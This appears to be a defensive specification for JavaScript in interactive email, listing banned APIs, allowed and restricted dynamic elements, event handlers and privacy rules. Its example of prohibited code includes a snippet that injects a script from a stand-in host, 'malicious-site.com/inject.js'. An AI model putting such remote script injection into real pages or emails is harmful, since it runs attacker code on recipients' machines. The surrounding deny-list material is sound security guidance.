To safeguard user security and maintain compliance with the Open Email Standards, certain JavaScript practices are strictly disallowed. These prohibitions aim to prevent vulnerabilities such as unauthorized data collection, code injection, or conflicts with other scripts.

• Dynamic Script Loading: document.createElement('script') or similar methods dynamically load additional scripts during email interactions. This practice is strictly prohibited as it can introduce unauthorized or malicious functionality.
• Restricted Functions: The use of eval() and new Function() are prohibited due to their ability to execute arbitrary and potentially unsafe code at runtime.
• Dynamic Module Imports: The use of import() to load modules dynamically is strictly prohibited. Emails must rely on statically sourced scripts, ensuring all external resources are validated prior to rendering.
• Beacon Transmission: navigator.sendBeacon() silently sends data to external servers, which could enable unauthorized tracking or data exfiltration. Its use is prohibited to safeguard user privacy.
• Prototype Modification: Modifying the prototype chain of built-in objects (e.g., Object.prototype) is strictly prohibited.
• Dynamic Document Writing: document.write() is prohibited as it allows dynamic modification of email content, introducing risks such as injecting malicious scripts or overwriting validated content.
• DOM Manipulation: The use of innerHTML to inject content into the DOM is strictly prohibited. All DOM manipulations must be performed using secure, framework-approved methods that comply with Open Email Standards.
• Disallowed Network Request: The use of XMLHttpRequest for network requests is prohibited as it is an outdated method for handling HTTP requests. Instead, fetch is allowed under strict security conditions, ensuring safe and compliant data handling from trusted sources.
• Global Namespace Pollution: Scripts must avoid defining global variables that can unintentionally overwrite or conflict with other scripts.
• Web Workers: The use of Web Workers (e.g., new Worker('worker.js')) is strictly prohibited in email content as they allow the execution of scripts in a separate thread, potentially loading and running external JavaScript files.
• Unauthorized Access to Browser APIs: JavaScript must not interact with browser-specific APIs (e.g., navigator.geolocation) without explicit consent.
• Unsafe URL Schemes: Links using javascript: or data: schemes are strictly prohibited due to their potential for executing malicious code or embedding harmful content. These schemes bypass traditional security mechanisms and pose significant risks to user safety.
• Note on TypeScript: While TypeScript is a powerful development tool, it is irrelevant at runtime in the email context since email clients do not support TypeScript natively. All TypeScript must be precompiled into JavaScript, and the resulting code must adhere strictly to Open Email Standards, avoiding prohibited practices like innerHTML, eval(), or dynamic imports.

Example: Prohibited Raw JavaScript Patterns

<script>
  // Dynamic script execution is restricted
  eval("console.log('This is unsafe!')"); // Prohibited usage

  // Example of new Function (Prohibited)
  let func = new Function("return alert('Another unsafe practice');");
  func();

  // Example of dynamic script loading (Prohibited)
  const script = document.createElement('script');
  script.src = "http://malicious-site.com/inject.js";
  document.head.appendChild(script);
</script>

Dynamic content generation using component-based frameworks like Vue or Preact allows for flexible HTML rendering in modern environments. However, in the context of email, runtime-generated content introduces potential attack vectors. To mitigate security risks and maintain consistency across clients, Open Email Standards strictly limit which elements may be created dynamically.

Restricted Dynamically Created Elements

The following elements are prohibited from being rendered dynamically, even through approved frameworks. Their creation poses security risks or circumvents content restrictions:

• <script>: Introduces unauthorized or malicious script execution, compromising email security.
• <iframe>, <embed>, <object>, <param>: Completely prohibited in email content, whether static or dynamic, due to risks like tracking and unauthorized content execution.
• <audio>, <video>, <canvas>: Must be statically defined. Dynamic creation increases risks like fingerprinting or unauthorized media rendering.
• <button>, <datalist>, <fieldset>, <form>, <input>, <label>, <legend>, <optgroup>, <output>, <select>, <textarea>: Forms must be defined statically to enforce validation, prevent phishing, and control where data is sent.
• <template>: Disallowed dynamically due to its ability to inject deferred, hidden DOM content that can bypass validation. Static usage is also discouraged in email environments.
• <link>: Completely restricted. Stylesheets must be statically defined in the <head> section and sourced only from pre-approved libraries.

Allowed Dynamically Created Elements

To ensure compatibility and secure rendering, only the following elements may be dynamically created using approved frameworks (e.g., Vue, Preact). The following list represents elements deemed secure under Open Email Standards:

• Structural Elements: <article>, <aside>, <caption>, <col>, <colgroup>, <div>, <dl>, <dt>, <figure>, <figcaption>, <footer>, <header>, <hgroup>, <li>, <main>, <menu>, <meter>, <nav>, <ol>, <p>, <section>, <span>, <table>, <tbody>, <td>, <tfoot>, <th>, <thead>, <tr>, <ul>.
• Interactive Components: <details>, <summary>, <dialog>.
• Images & Media Elements: <area>, <img>, <map>, <picture>, <svg> with blocking mechanisms like ImageBlocker.js applied.
• Text & Semantic Formatting: <a>, <abbr>, <address>, <b>, <bdi>, <bdo>, <blockquote>, <br>, <cite>, <code>, <data>, <dd>, <del>, <dfn>, <em>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <hr>, <i>, <ins>, <kbd>, <mark>, <meter>, <pre>, <progress>, <q>, <rp>, <rt>, <ruby>, <s>, <samp>, <small>, <strong>, <sub>, <sup>, <time>, <u>, <var>, <wbr>.

Implementation Guidelines

To maintain compliance with Open Email Standards, both developers and email clients must adhere to the following guidelines:

• Use Static Content: Ensure restricted elements like <script> or <link> are defined statically in the email content.
• Validate Allowed Elements: Dynamically created elements, such as <div> or <span>, must strictly adhere to approved security and functionality guidelines. They must avoid unauthorized behaviors, including unapproved event handlers, unauthorized attribute modifications, or interactions that compromise email security.
• Monitor and Log Attempts: Email clients should detect and block unauthorized attempts to dynamically create restricted elements, logging such actions for security audits.

JavaScript event handlers enable dynamic interactions but pose significant security risks when misused in email environments. To safeguard user data and prevent unauthorized script execution, certain handlers are selectively allowed under strict conditions, while others are fully restricted.

Conditionally Allowed Handlers

• onclick, onmouseover, onfocus: These handlers enhance the user experience by enabling modals, expanding collapsible sections, or displaying tooltips. Their use is permitted only when paired with pre-approved, secure libraries and integrated with RedirectBlocker.js , an open-source script to block unauthorized redirections.

Restricted Event Handlers

• onload: This event should be restricted for all HTML elements in email content to prevent files from being automatically loaded or executed when an email is opened, especially when applied to the <body> element. Email clients should ensure that any attempt to use onload is blocked, regardless of the element it’s applied to. The use of DownloadBlocker.js is recommended for email clients to detect and block unauthorized attempts to load external files triggered by the onload event.
• onkeydown, onkeyup, onkeypress: These handlers manage keyboard interactions and can pose risks like keylogging if misused. While they could be allowed under strict conditions, limiting their usage is recommended to avoid unintended data capture.

While HTML5 tags and attributes are fully supported under the Open Email Standards framework, the introduction of non-standard attributes from dynamic libraries—such as HTMX, Alpine.js, or Unpoly—poses significant security challenges. These libraries enable live updates and AJAX-like interactions using custom attributes (e.g., hx-get, hx-post, up-target), that fall outside the scope of HTML5 standards.

Non-Standard Libraries Security Risks

Permitting non-standard attributes and behaviors in emails leads to critical vulnerabilities that compromise security and user privacy, including:

• Cross-Site Scripting (XSS): Dynamic attributes can be exploited to inject malicious scripts, exposing sensitive user data.
• Phishing Attacks: Dynamically loaded content can mislead users into interacting with fraudulent elements.
• Unauthorized Data Collection: External content loading and tracking can occur without user consent, potentially violating user privacy.

Restrictions on Non-Standard Libraries

Open Email Standards disallow non-standard attributes and behaviors introduced by dynamic libraries like HTMX. This restriction ensures that the email environment remains secure, compliant, and protected against potential exploitation. By prohibiting these non-standard implementations, Open Email Standards maintain a secure, privacy-focused, and consistent framework for email content delivery.

Controlled Interaction Alternatives

Open Email Standards endorse the use of vetted JavaScript libraries, such as Preact and Vue, which ensure secure, component-based interactions. These libraries follow best practices, aligning with the framework's focus on privacy and security.

Given the potential for JavaScript to interact with user data, strict privacy compliance measures are mandatory to protect user trust and adhere to global standards:

• No Tracking by Default: Scripts must not include tracking mechanisms unless explicitly disclosed and consented to by the user. Any tracking functionality must adhere to global privacy standards, such as GDPR or CCPA.
• Transparent Policies: Email clients should provide clear information about the scope and behavior of allowed scripts to build user trust.
• Data Protection: Scripts must not access or transmit sensitive user data, such as email addresses, browsing history, or personal identifiers.
• AJAX Transparency: Email clients must notify users before executing AJAX or fetch requests to ensure explicit user consent for all external data interactions. Such functions must only activate upon explicit user approval, maintaining strict adherence to global privacy standards such as GDPR and CCPA.